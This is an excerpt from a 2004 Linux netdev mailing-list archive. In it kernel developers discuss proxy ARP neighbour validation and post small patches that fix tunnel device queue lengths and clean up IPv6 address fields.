ESMTP id i1C4Mqi15056; Wed, 11 Feb 2004 23:22:52 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C4MHkC025210; Wed, 11 Feb 2004 23:22:18 -0500 Date: Wed, 11 Feb 2004 20:22:51 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests Message-Id: <20040211202251.7b05102c.davem@redhat.com> In-Reply-To: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3241 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 10 Feb 2004 02:31:23 +0200 (EET) Julian Anastasov wrote: > So, if hidden exists and is disabled it will not delay > too much the processing but it is true that both arp_rcv and > arp_solicit become more and more loaded with ugly checks. The hidden patch does a hundred different things, that's what makes it so undigestable. :) Let us assume your arp_announce patch is applied. Given that, plus the things you've mentioned, only a tiny piece of functionality is really needed from that hidden patch. Why don't you extract out just the needed part, and toss together an email with that patch explaining that specific behavior change? Thanks. From hadi@cyberus.ca Wed Feb 11 20:49:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 20:49:40 -0800 (PST) Received: from greatwhite.cybersurf.com (greatwhite.cybersurf.com [209.197.145.193]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C4nZKO009898 for ; Wed, 11 Feb 2004 20:49:35 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by greatwhite.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1C4qotN024824 for ; Wed, 11 Feb 2004 21:52:50 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Ar8n2-0006UM-AY; Wed, 11 Feb 2004 23:49:28 -0500 Subject: Re: Change proxy_arp to respond only for valid neighbours From: jamal Reply-To: hadi@cyberus.ca To: Julian Anastasov Cc: netdev@oss.sgi.com, Alexey Kuznetsov In-Reply-To: References: Content-Type: text/plain Organization: jamalopolis Message-Id: <1076561326.1032.62.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 11 Feb 2004 23:48:47 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3242 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Wed, 2004-02-11 at 09:32, Julian Anastasov wrote: > > > I did it during my initial tests and now I tested it > > > again, looks as expected. > > > > I am not %100 sure if such an entry should be route cached if the nh > > is not resolvable. What are your thoughts on this? > > It looks bad to call route_slow for every one request, > I have to think more about it. If you make another get it goes via fast path. The disappointing part is this feature has a lot of potential if it works "correctly" (imagine being able to populate route cache before packet arrives and not needing for packet to go via slow path). >> I think if any cache entry is NUD_VALID you should respond >>immediately. > No, we should delay the broadcasts if such delay is > configured. For unicasts we respond immediately. Ok, extend that to say "if we have to respond immediately we may check if the target is valid" > anything else you should enqueue request and initiate a discovery to > target. > By checking ->probes we queue !VALID entries only > when switching from FAILED to INCOMPLETE. For example: > > - we have 3 brd probes configured to send > > - request comes > > - we send 1st brd probe for target and enqueue this incoming request > and all requests coming before we send the 2nd probe > > - we send 2nd probe (still no answer for the 1st) > > - at this point we know that target is really dead and we do not > need to queue more incoming requests (even brd ones) until target > responds (the queue has limit) > > - this cycle repeats on each 3 seconds which means that for 1 > second we queue requests and for 2 seconds we just drop I am indifferent about the above (and it may be complicating things). > There is possible loop in this example (as DaveM warned) > when ((tv_sec=0 or delay=0) and !valid) but it can be fixed Correct Note the point i was trying to make in that snippet is: the valuable piece is in checking that for cases where we respond immediately we at least validate the state of the target. To me thats all you need to do ;-> > (then > you will have code in similar size :)). > > The problem is that I > wanted to avoid creating new flag if there is no need to support > the old behavior in the real life. Also, we have choice to apply > delay according to the proxy type (DNAT/fwd/pneigh) and the > probes sent. > Ok, remove the flag. That one piece is safe. I didnt understand why you have to speacial case for "NAT/fwd/pneigh" > Also, you do not call neigh_event_send when > request with tv_sec!=0 comes. I think we have been this whole issue severely (i.e you understand my view and i understand yours) - lets get a closure. Heres where i stand: - checking validity in fast response is fair game and doesnt need a flag - loops must be avoided Some of your features are fine except they may be a little extreme. Note, this code has been to work well for years, the minimalist approach to features would be the best approach. cheers, jamal From hadi@cyberus.ca Wed Feb 11 20:52:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 20:52:21 -0800 (PST) Received: from greatwhite.cybersurf.com (greatwhite.cybersurf.com [209.197.145.193]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C4qHKO010722 for ; Wed, 11 Feb 2004 20:52:18 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by greatwhite.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1C4tXtN025590 for ; Wed, 11 Feb 2004 21:55:33 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Ar8pe-0006iv-Tw; Wed, 11 Feb 2004 23:52:11 -0500 Subject: Re: 2.6: QoS scheduling not working with IP-over-IP From: jamal Reply-To: hadi@cyberus.ca To: "David S. Miller" Cc: Dawid Kuroczko , netdev@oss.sgi.com, shemminger@osdl.org In-Reply-To: <20040211200549.736fa8b3.davem@redhat.com> References: <20040211200549.736fa8b3.davem@redhat.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076561489.1032.65.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 11 Feb 2004 23:51:29 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3243 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Actually this may be a result of the recent tweak to the scheduler code that seems to be in 2.6.2. The fix seems to fix the off by one in pfifo. cheers, jamal On Wed, 2004-02-11 at 23:05, David S. Miller wrote: > [ moving from linux-kernel to correct mailing list... ] > > Czesc Dawid, > > On Tue, 10 Feb 2004 13:36:32 +0100 (CET) > Dawid Kuroczko wrote: > > > There seems to be a bug in QoS scheduling code related to IP-over-IP > > tunnels (ipip.ko). My setup is a bit unusual -- my default route > > goes through tunl1, so I want it shaped. It worked fine with 2.4, > > but it doesn't with 2.6 (2.6.1 and 2.6.2, I made a transition quite > > recently). > > Can you assign QoS schedulers and classifiers successfully to eth0 > or some other non ipip device? > > Does it work with 'tunl0' instead of 'tunl1'? > > Stephen, I bet this problem got introduced when we moved ipip.c over > to dynamic netdevice allocation, can you take a look? > > From hadi@cyberus.ca Wed Feb 11 21:00:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 21:00:54 -0800 (PST) Received: from sand.cybersurf.com (sand.cybersurf.com [209.197.145.195]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C50gKO012596 for ; Wed, 11 Feb 2004 21:00:45 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by sand.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1C50bF7002164 for ; Wed, 11 Feb 2004 22:00:37 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Ar8xn-0007NX-MW; Thu, 12 Feb 2004 00:00:35 -0500 Subject: Re: 2.6: QoS scheduling not working with IP-over-IP From: jamal Reply-To: hadi@cyberus.ca To: "David S. Miller" Cc: Dawid Kuroczko , netdev@oss.sgi.com, shemminger@osdl.org In-Reply-To: <1076561489.1032.65.camel@jzny.localdomain> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076561998.1035.72.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 11 Feb 2004 23:59:58 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3244 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev What the heck, heres a patch (maybe it ll teach that poster to post to netdev instead of lk ;->). Not tested not even compiled but looks fine. ipip was always broken; the pfifo off by one fix in 2.6 seems to have exposed the bug. ----- --- 262/net/ipv4/ipip.c 2004-01-09 02:00:13.000000000 -0500 +++ 262-mod/net/ipv4/ipip.c 2004-02-11 23:35:18.000000000 -0500 @@ -247,6 +247,7 @@ SET_MODULE_OWNER(dev); dev->init = ipip_tunnel_init; dev->destructor = free_netdev; + dev->tx_queue_len = 100; nt->parms = *parms; if (register_netdevice(dev) < 0) { ------- cheers, jamal On Wed, 2004-02-11 at 23:51, jamal wrote: > Actually this may be a result of the recent tweak to > the scheduler code that seems to be in 2.6.2. The fix seems > to fix the off by one in pfifo. > > cheers, > jamal > > On Wed, 2004-02-11 at 23:05, David S. Miller wrote: > > [ moving from linux-kernel to correct mailing list... ] > > > > Czesc Dawid, > > > > On Tue, 10 Feb 2004 13:36:32 +0100 (CET) > > Dawid Kuroczko wrote: > > > > > There seems to be a bug in QoS scheduling code related to IP-over-IP > > > tunnels (ipip.ko). My setup is a bit unusual -- my default route > > > goes through tunl1, so I want it shaped. It worked fine with 2.4, > > > but it doesn't with 2.6 (2.6.1 and 2.6.2, I made a transition quite > > > recently). > > > > Can you assign QoS schedulers and classifiers successfully to eth0 > > or some other non ipip device? > > > > Does it work with 'tunl0' instead of 'tunl1'? > > > > Stephen, I bet this problem got introduced when we moved ipip.c over > > to dynamic netdevice allocation, can you take a look? > > > > > > > From hadi@cyberus.ca Wed Feb 11 21:05:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 21:05:33 -0800 (PST) Received: from greatwhite.cybersurf.com (greatwhite.cybersurf.com [209.197.145.193]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C55TKO013782 for ; Wed, 11 Feb 2004 21:05:30 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by greatwhite.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1C58jtN030934 for ; Wed, 11 Feb 2004 22:08:45 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Ar92R-0007lT-9z; Thu, 12 Feb 2004 00:05:23 -0500 Subject: Re: 2.6: QoS scheduling not working with IP-over-IP From: jamal Reply-To: hadi@cyberus.ca To: "David S. Miller" Cc: Dawid Kuroczko , netdev@oss.sgi.com, shemminger@osdl.org In-Reply-To: <1076561998.1035.72.camel@jzny.localdomain> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> Content-Type: multipart/mixed; boundary="=-x9OUX6bGj+32eMtlf6bv" Organization: jamalopolis Message-Id: <1076562282.1033.76.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 12 Feb 2004 00:04:42 -0500 X-archive-position: 3245 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev --=-x9OUX6bGj+32eMtlf6bv Content-Type: text/plain Content-Transfer-Encoding: 7bit On Wed, 2004-02-11 at 23:59, jamal wrote: > What the heck, heres a patch (maybe it ll teach that poster to post to > netdev instead of lk ;->). Not tested not even compiled but looks fine. > ipip was always broken; the pfifo off by one fix in 2.6 seems to have > exposed the bug. > More complete patch attached for other broken tunnel devices. Note the bug exists in 2.4 as well but is masquareded by a boundary bug in pfifo. cheers, jamal --=-x9OUX6bGj+32eMtlf6bv Content-Disposition: attachment; filename=p1 Content-Type: text/plain; name=p1; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit --- 261/net/ipv4/ip_gre.c 2004-01-09 01:59:48.000000000 -0500 +++ 261-mod/net/ipv4/ip_gre.c 2004-02-11 23:57:30.000000000 -0500 @@ -276,6 +276,7 @@ return NULL; dev->init = ipgre_tunnel_init; + dev->tx_queue_len = 100; nt = dev->priv; nt->parms = *parms; --- 261/net/ipv4/ipip.c 2004-01-09 02:00:13.000000000 -0500 +++ 261-mod/net/ipv4/ipip.c 2004-02-11 23:35:18.000000000 -0500 @@ -247,6 +247,7 @@ SET_MODULE_OWNER(dev); dev->init = ipip_tunnel_init; dev->destructor = free_netdev; + dev->tx_queue_len = 100; nt->parms = *parms; if (register_netdevice(dev) < 0) { --- 261/net/ipv6/sit.c 2004-01-09 02:00:03.000000000 -0500 +++ 261-mod/net/ipv6/sit.c 2004-02-11 23:58:00.000000000 -0500 @@ -184,6 +184,7 @@ nt = dev->priv; dev->init = ipip6_tunnel_init; + dev->tx_queue_len = 100; nt->parms = *parms; if (register_netdevice(dev) < 0) { --=-x9OUX6bGj+32eMtlf6bv-- From davem@redhat.com Wed Feb 11 21:14:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 21:14:30 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C5EQKO015506 for ; Wed, 11 Feb 2004 21:14:26 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C5ENb11080; Thu, 12 Feb 2004 00:14:23 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1C5ENi27224; Thu, 12 Feb 2004 00:14:23 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C5DmkC008120; Thu, 12 Feb 2004 00:13:49 -0500 Date: Wed, 11 Feb 2004 21:14:22 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: kill in6_u.u6_addrX Message-Id: <20040211211422.42241389.davem@redhat.com> In-Reply-To: <20040212.140022.128605177.yoshfuji@linux-ipv6.org> References: <20040212.140022.128605177.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1C5EQKO015506 X-archive-position: 3246 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 12 Feb 2004 14:00:22 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > There're still two in6_u.u6_addrX in the tree. > (I've grep'ed the tree.) > > D: kill in6_u.u6_addrX and use s6_addrX instead. Applied, thanks yoshfuji. From davem@redhat.com Wed Feb 11 21:15:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 21:15:49 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C5FiKO016062 for ; Wed, 11 Feb 2004 21:15:45 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C5Fcb11460; Thu, 12 Feb 2004 00:15:38 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1C5Fci27473; Thu, 12 Feb 2004 00:15:38 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C5F3kC008450; Thu, 12 Feb 2004 00:15:03 -0500 Date: Wed, 11 Feb 2004 21:15:36 -0800 From: "David S. Miller" To: hadi@cyberus.ca Cc: qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: 2.6: QoS scheduling not working with IP-over-IP Message-Id: <20040211211536.23e97997.davem@redhat.com> In-Reply-To: <1076562282.1033.76.camel@jzny.localdomain> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3247 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On 12 Feb 2004 00:04:42 -0500 jamal wrote: > More complete patch attached for other broken tunnel devices. > Note the bug exists in 2.4 as well but is masquareded by a boundary bug > in pfifo. OK, however, old behavior would be like setting tx_queue_len to '1'. Do we wish to preserve this? From jgarzik@pobox.com Wed Feb 11 21:23:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 21:23:35 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C5NPKO017781 for ; Wed, 11 Feb 2004 21:23:26 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35566 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Ar9Js-0007Rl-LU; Thu, 12 Feb 2004 05:23:24 +0000 Message-ID: <402B0DC0.9020104@pobox.com> Date: Thu, 12 Feb 2004 00:23:12 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jhf@rivenstone.net CC: netdev@oss.sgi.com Subject: Re: 2.6 sis900 (and tlan?) multicast bug References: <20040126204215.GA25578@rivenstone.net> <40159331.80808@pobox.com> <20040212045321.GA15355@rivenstone.net> In-Reply-To: <20040212045321.GA15355@rivenstone.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3248 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev looks good, I'll make sure this gets in... From hadi@cyberus.ca Wed Feb 11 21:24:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 21:24:58 -0800 (PST) Received: from tiger.cybersurf.com (tiger.cybersurf.com [209.197.145.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C5OqKO018328 for ; Wed, 11 Feb 2004 21:24:52 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by tiger.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1BDCOJB020107 for ; Wed, 11 Feb 2004 06:12:24 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AquAA-0003jR-KV; Wed, 11 Feb 2004 08:12:22 -0500 Subject: Re: Change proxy_arp to respond only for valid neighbours From: jamal Reply-To: hadi@cyberus.ca To: Julian Anastasov Cc: netdev@oss.sgi.com, Alexey Kuznetsov In-Reply-To: References: <1076338874.1026.36.camel@jzny.localdomain> <1076367038.1037.15.camel@jzny.localdomain> <1076376094.1039.102.camel@jzny.localdomain> <1076410090.1039.578.camel@jzny.localdomain> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076505110.2267.207.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 11 Feb 2004 08:11:51 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3249 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Hi, On Tue, 2004-02-10 at 20:52, Julian Anastasov wrote: > Hello, > > On Tue, 10 Feb 2004, jamal wrote: > > > I believe it would work even if there is no neighbor resolved yet. > > i.e it depends only on a route being resolvable not necessarily > > having the next hop existing already in arp cache. Try get on some host > > Yes, I tried it on empty system, just ip route get -> NUD_NONE. It doesnt seem to show up at all in the neigh cache display although you are correct that it does go to NUD_NONE given the transition when you attempt a ping right after. is NUD_NONE never displayed by ip n ls? > > that doesnt exist in cache yet - try on some fake address on a directly > > connected subnet (make sure you pick a host that doesnt exist and > > therefore will never be reached). > > I did it during my initial tests and now I tested it > again, looks as expected. I am not %100 sure if such an entry should be route cached if the nh is not resolvable. What are your thoughts on this? > > > Yes, requestor can be in PROBE state sending unicasts > > > but for us the target can be already unreachable. > > > > This is true; what i am saying is for this to happen more than likely > > something odd must have happened ex: the cable towards the target may > > have been pulled.i.e the chances of this happening just because the > > arp cache expired are low. The arp cache would exist because the > > initial states would have created it. > > Yes, target can exist in the cache in NUD_FAILED without > timer. But it is possible if we send probe to receive answer. NUD_FAILED is dead meat waiting to be garbage collected. > So, before calling neigh_event_send we can see that the target entry > is in one of these states: > > a) NUD_NONE - just created, nobody uses it, will go to NUD_INCOMPLETE > with timer on neigh_event_send > b) NUD_INCOMPLETE - we are probing it with broadcasts, timer is running, > will continue with the probes > c) NUD_FAILED - no timer pending, will go to NUD_INCOMPLETE to refresh > the state > d) NUD_VALID - stale/probed/delayed/reachable (probably start delay+probe > process). STALE looks like valid state but can be outdated - the > routing cache can keep it for minutes. We can only hope that the > user has all timeouts configured properly and this period is short. > > So, if the entry is not valid we can check if ->probes > ensures at least "2 brd probes sent" (probes >= ucast_probes+2). > This means "we have no answer for the 1st probe" and allows us > to stop queueing requests. So, we need to queue requests > only if probes < ucast_probes+2 (cases a, c and sometimes b). > Of course, if the entry is valid we will queue the brd requests. > Do you like such checks instead of adding new flag? Or the wishes > are already too many to continue with this patch? I think if any cache entry is NUD_VALID you should respond immediately. anything else you should enqueue request and initiate a discovery to target. > If you prefer you can take the 20 lines of code from > http://www.ssi.bg/~ja/tmp/arp_proxy-2.6.2-1.diff and to write > a pseudo-C example how you feel the handling should be. > Ok, I looked at this and i am wondering if all logic you have is needed. I apologize in advance because i feel i missed something you said earlier, but what is wrong with just saying along the following lines: if (skb->stamp.tv_sec == 0 || skb->pkt_type == PACKET_HOST || in_dev->arp_parms->proxy_delay == 0) { if ((in_dev->arp_parms->proxy_validate) && n && !neigh_is_valid(n)) { /* probably issue arp to tip here */ goto q_it; } arp_send(ARPOP_REPLY,ETH_P_ARP,sip,dev,tip,sha,dev->dev_addr,sha); } else { q_it: if (fwd_proxy) neigh_event_send(n, NULL); pneigh_enqueue(&arp_tbl, in_dev->arp_parms, skb); in_dev_put(in_dev); return 0; } goto out; -- Let me cut your email in two here because it is getting too long cheers, jamal From hadi@cyberus.ca Wed Feb 11 21:25:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 21:25:48 -0800 (PST) Received: from tiger.cybersurf.com (tiger.cybersurf.com [209.197.145.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C5PjKO018763 for ; Wed, 11 Feb 2004 21:25:45 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by tiger.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1C5PdJB025773 for ; Wed, 11 Feb 2004 22:25:39 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Ar9M0-0001Xo-E7; Thu, 12 Feb 2004 00:25:36 -0500 Subject: Re: 2.6: QoS scheduling not working with IP-over-IP From: jamal Reply-To: hadi@cyberus.ca To: "David S. Miller" Cc: qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org In-Reply-To: <20040211211536.23e97997.davem@redhat.com> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076563502.1031.85.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 12 Feb 2004 00:25:02 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3250 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Thu, 2004-02-12 at 00:15, David S. Miller wrote: > On 12 Feb 2004 00:04:42 -0500 > jamal wrote: > > > More complete patch attached for other broken tunnel devices. > > Note the bug exists in 2.4 as well but is masquareded by a boundary bug > > in pfifo. > > OK, however, old behavior would be like setting tx_queue_len to '1'. > Do we wish to preserve this? All the alloc_netdev() types of calls dont set this - so default is zero. Maybe we could move it there. 100 seems to be what a lot of 10/100 ether devices set things to be. Note that ifconfig and ip can set this value as well at runtime cheers, jamal From yoshfuji@linux-ipv6.org Wed Feb 11 21:29:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 21:30:02 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C5TlKO019874 for ; Wed, 11 Feb 2004 21:29:47 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 6381833CA5; Thu, 12 Feb 2004 14:00:22 +0900 (JST) Date: Thu, 12 Feb 2004 14:00:22 +0900 (JST) Message-Id: <20040212.140022.128605177.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH] IPV6: kill in6_u.u6_addrX From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3251 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello. There're still two in6_u.u6_addrX in the tree. (I've grep'ed the tree.) D: kill in6_u.u6_addrX and use s6_addrX instead. Thanks. ===== net/ipv6/addrconf.c 1.91 vs edited ===== --- 1.91/net/ipv6/addrconf.c Tue Feb 3 03:31:58 2004 +++ edited/net/ipv6/addrconf.c Thu Feb 12 13:45:34 2004 @@ -231,7 +231,7 @@ if ((addr->s6_addr32[0] | addr->s6_addr32[1]) == 0) { if (addr->s6_addr32[2] == 0) { - if (addr->in6_u.u6_addr32[3] == 0) + if (addr->s6_addr32[3] == 0) return IPV6_ADDR_ANY; if (addr->s6_addr32[3] == htonl(0x00000001)) ===== net/ipv6/netfilter/ip6t_eui64.c 1.4 vs edited ===== --- 